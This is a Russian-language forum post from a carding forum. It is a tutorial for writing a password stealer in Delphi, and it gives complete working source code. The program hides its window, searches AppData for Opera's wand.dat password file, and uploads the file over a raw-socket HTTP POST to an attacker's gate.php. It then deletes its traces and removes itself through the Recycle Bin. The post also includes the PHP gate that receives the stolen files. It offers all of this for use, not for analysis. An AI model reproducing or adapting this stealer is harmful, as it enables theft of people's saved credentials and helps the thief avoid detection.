[Delphi] Пишем простой стиллер

Glot

RIPPER
Messages
183
Reaction score
55
Points
28
Всем привет. Моя первая статья вообще, так что прошу строго не судить. Если боян, скажите - подотру.:) В данной статье будем тырить пасы от известного всем браузера - Opera

Предисловие
Где то год/полтора назад, начиная изучать delphi самостоятельно, проснулось огромное желание написать свой трой. Тогда я ещё не понимал как со стороны выглядит моё школоло-желание. От меня поступали запросы в гугл типа "Как написать трой на delphi". (Вот только не нада меня ща срать:D) Сейчас конечно, кажется всё бредом. Но спустя пару месяцов я написал "трой" вроующий пасы от firefox, весил он 500+ кб, так как я использовал форму и инди:D. Ну хватит нести чушь. Пора приступать к делу.

Что нам понадобиться?
Delphi (я юзаю 7), класс MyStrings (Ссылка на скачку в конце статьи), хостинг (там мы поставим гейт который будет принимать файлы).


Начинаем
Открываем делфи, File -> New -> Console Application
Начинаем программировать:)

Убираем строку {$apptype console} (!) - Это важно. Это не даст вашему стиллеру показать своё окно.

В Uses добавим классы которые будем юзать.
Code:
  winsock, //сокеты
  windows, 
  mystrings, // будем юзать строки, альтернатива классу Classes, который бы предавал нашему стиллеру почти 45% веса от конечного.
  SysUtils;

Обьявим переменные которые будем использовать

Code:
  appfolder:string;
  pcname:string;
  memo6:tmystrings;
  fname:string;
 date:String;
 newpath:string;
  ws : TWSAData;
  a:string;

Внизу будем добавлять функции которые нам понадобятся...

Функции

1) Получаем путь к Application Data

Code:
 function GetWin(Comand: string): string;
var
  buff: array [0 .. $FF] of char;
begin
  ExpandEnvironmentStrings(PChar(Comand), buff, SizeOf(buff));
  Result := buff;
end;

2) Отправка файла на наш хост

Выдрано когда то с ачата
Тут как раз и используется класс winsock.
Code:
function SendFile(host, script, filename:string):string;
var
  sock : dword;
  ca : sockaddr_in;
  HTTPHeader : string;
  boundary : string;
  fs:dword;
  hFile : DWORD;
  buf : array [0..4095] of char;
  p : PHostEnt;
  rb : cardinal;
  len : integer;
  SubHeader1 : string;
  SubHeader2 : string;
begin
  result := '';
  // открываем файл на чтение
  hFile := CreateFile(PChar(filename), GENERIC_READ, 0, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);

  if hFile <> INVALID_HANDLE_VALUE then // если всё норм
  begin
    fs := GetFileSize(hFile, nil); // получим размер файла
    // создаем сокет
    sock := socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
    // если создался сокет
    if sock <> INVALID_SOCKET then // если норм
    begin
      ca.sin_family := AF_INET;
      ca.sin_port := htons(80); // порт 

      p := GetHostByName(PChar(host)); // получим ip по домену
      if p = nil then // если нету
      begin
        // значит это IP
        ca.sin_addr.s_addr := inet_addr(pchar(host));
      end
      else
      begin
        // выдерим ip
        ca.sin_addr := PInAddr(p.h_addr_list^)^;
      end;

      // коннектимся
      if connect(sock, ca, sizeof(ca)) <> -1 then
      begin
        // если всё норм
        // генерим разделитель
        boundary := inttohex(random(65535), 4)+inttohex(random(65535), 4)+inttohex(random(65535), 4);
          // создаем части HTTP заголовка
        SubHeader1 :=  '--'+boundary+#13#10+
                      'Content-Disposition: form-data; name="myfile"; filename="'+filename+'"'#13#10+
                      'Content-Type: application/octet-stream'#13#10#13#10;
        SubHeader2 := #13#10+'--'+boundary+'--'#13#10;
        HTTPHeader := 'POST '+script+' HTTP/1.1'#13#10+
                      'Host: '+host+#13#10+
                      'Connection: close'#13#10+
                      'Content-Type: multipart/form-data; boundary='+boundary+#13#10+
                      'Content-Length: '+inttostr(fs + length(SubHeader1) + length(SubHeader2))+#13#10#13#10+SubHeader1;

         // посылаем заголовок
        send(sock, HTTPHeader[1], length(HTTPHeader), 0);
        while true do
        begin
          rb := 0;
          // читаем 4 кила из файла
          ReadFile(hFile, buf, 4096, rb, nil);
          if rb = 0 then break; // если не считалось то выход из цикла
          send(sock, buf, rb, 0); // пошлем считанные данные
        end;
          // пошел последний разделитель
        send(sock, SubHeader2[1], length(SubHeader2), 0);
        while true do // к цикле ждем ответа от сервера
        begin
          len := recv(sock, buf, 4096, 0); // считали данные
          if len > 0 then // если есть чтото
          begin
            result := result + copy(buf, 0, len);
          end
          else
          begin // если нет больше данных то выходим из цикла
            break;
          end;
        end;
      end;
      closesocket(sock); // закрываем сокет
    end;
    CloseHandle(hFile); // закрываем файл
  end;
end;

3) Поиск файла паролей (Wand.dat)

Code:
Procedure FindRecursive(Const path: String; Const mask: String);
Var
 fullpath: String;

  Function Recurse( Var path: String; Const mask: String ): Boolean;
    Var
      SRec: TSearchRec;
      retval: Integer;
      oldlen: Integer;
    Begin
      Recurse := True;
      oldlen := Length(path);
      retval := FindFirst(path+mask, faAnyFile, SRec);
      While retval = 0 Do Begin

        If (SRec.Attr and (faDirectory or faVolumeID)) = 0 Then
         memo6.Add(path+srec.name); // Добавляем в переменную все найденые нами файлы паролей

        retval := FindNext(SRec);
      End;
      FindClose(SRec);

      If not Result Then Exit;

      retval := FindFirst( path+'*.*', faDirectory, SRec);
      While retval = 0 Do Begin
        If (SRec.Attr and faDirectory) <> 0 Then
          If (SRec.Name <> '.') and (SRec.Name <> '..') Then Begin
            path := path + SRec.Name + '\';
            If not Recurse( path, mask ) Then Begin
              Result := False;
              Break;
            End;
            Delete( path, oldlen+1, 255 );
          End;
        retval := FindNext( SRec );
      End;
      FindClose( SRec );
    End; // Recurse
//__________________________________________________________________________
Begin
 If path = '' Then GetDir(0, fullpath)
              Else fullpath := path;

 If fullpath[Length(fullpath)] <> '\' Then fullpath := fullpath + '\';

 If mask = '' Then  Recurse(fullpath, '*.*')
              Else  Recurse(fullpath, mask);
End;

4) Получаем имя компьютера что бы отлечить отчёты на гейте (не обязательный пункт)

Code:
function GetComputerNetName: string;
 var
   buffer: array[0..255] of char;
   size: dword;
 begin
   size := 256;
   if GetComputerName(buffer, size) then
     Result := buffer
   else
     Result := ''
 end;

5) Самоудаление (!)
Достаточно важный пункт, так как мы же не хотим оставлять следов.

Code:
function SelfDelete(): Boolean;
 const
     cRecycle : array[1..3] of string = ('RECYCLED', 'RECYCLER', '$Recycle.Bin');
 var
   tmpName: String;
   i: integer;
   F: TSearchRec;
 begin
   Result := False;
   for i := 1 to 3 do
   begin
     tmpName := ExtractFileDrive(ParamStr(0)) + '\' + cRecycle[i];
     if FindFirst(tmpName, faAnyFile, F) = 0 then
     begin
       tmpName := tmpName + '\' + 'find_me'+'.tmp';
       if MoveFileEx(PChar(ParamStr(0)), PChar(tmpName), MOVEFILE_REPLACE_EXISTING or MOVEFILE_WRITE_THROUGH) then
     begin
       Result := MoveFileEx(PChar(tmpName), nil, MOVEFILE_DELAY_UNTIL_REBOOT);
       FindClose(F);
       end;
     end;
   end;
 end;

Поехали!

Code:
Begin
appfolder:=(getwin('%appdata%')+'\'); // получаем путь к папке application data
pcname:=GetComputerNetName; // получаем имя компьютера
memo6:=tmystrings.Create; // (!) Создаём переменную
sleep(100); // (пауза 100мс)
FindRecursive(appfolder,'wand.dat'); // ищем файл паролей оперы, вместо wand.dat можете подставить любой интересующий вас файл
if memo6.Items[0]<>'' then begin // если строка не пустая то...
fname:=ExtractFileName(memo6.Items[0]); // получаем имя файла из строки под номером 0 (нумерация начинается с 0)
date:=DateToStr(SysUtils.Date); // получаем дату что бы не перепутать файл на гейте
newpath:=appfolder+pcname+date+fname; // делаем новое имя файла для отправки
Copyfile(pchar(memo6.Items[0]),pchar(newpath),true); // копируем файл который нашли, в корень application data с новым названием (pcname+date+fname)
sleep(100);//снова пауза
WSAStartup($101, ws); //(инициализируем сокеты )
    try (трай для обработки ошибки)
    a:= SendFile('host.com', '/path/gate.php', newpath);// (Отправляем файл на гейт)
       except
        sleep(11); //если ошибка - пауза 11мс
     end;
     sleep(2000);// (пауза)
     deletefile(newpath);//удаляем который скопировали туда
     sleep(200);
    selfdelete; // Самоудаляемся
end;

end.

Код гейта
Code:
<? 
    $myfile = $_FILES['myfile']['tmp_name']; 
    $name = basename($_FILES['myfile']['name']); 

    if (!file_exists($myfile)) 
    { 
        echo "error"; 
    } 
    else 
    { 
        move_uploaded_file($myfile, $name); 
        echo "ok"; 
    } 

?>
Сохраняем в формате php, и заливаем на хост


Класс MyStrings

Вот как бы и всё. Качаете файл паролей с гейта и дешифровуете, дешифраторов wand.dat сейчас полно:) .Ваш стиллер готов. Напомню, что заменив wand.dat в процедуре поиска файла, вы можете стянуть практически любой интересующий вас файл. В конечном итоге вес билда примерно 50кб. Что допустимо:)

Спасибо за внимание. Строго не судите. Всегда ваш Glot, специально для Carder.uk
 
Last edited:
Top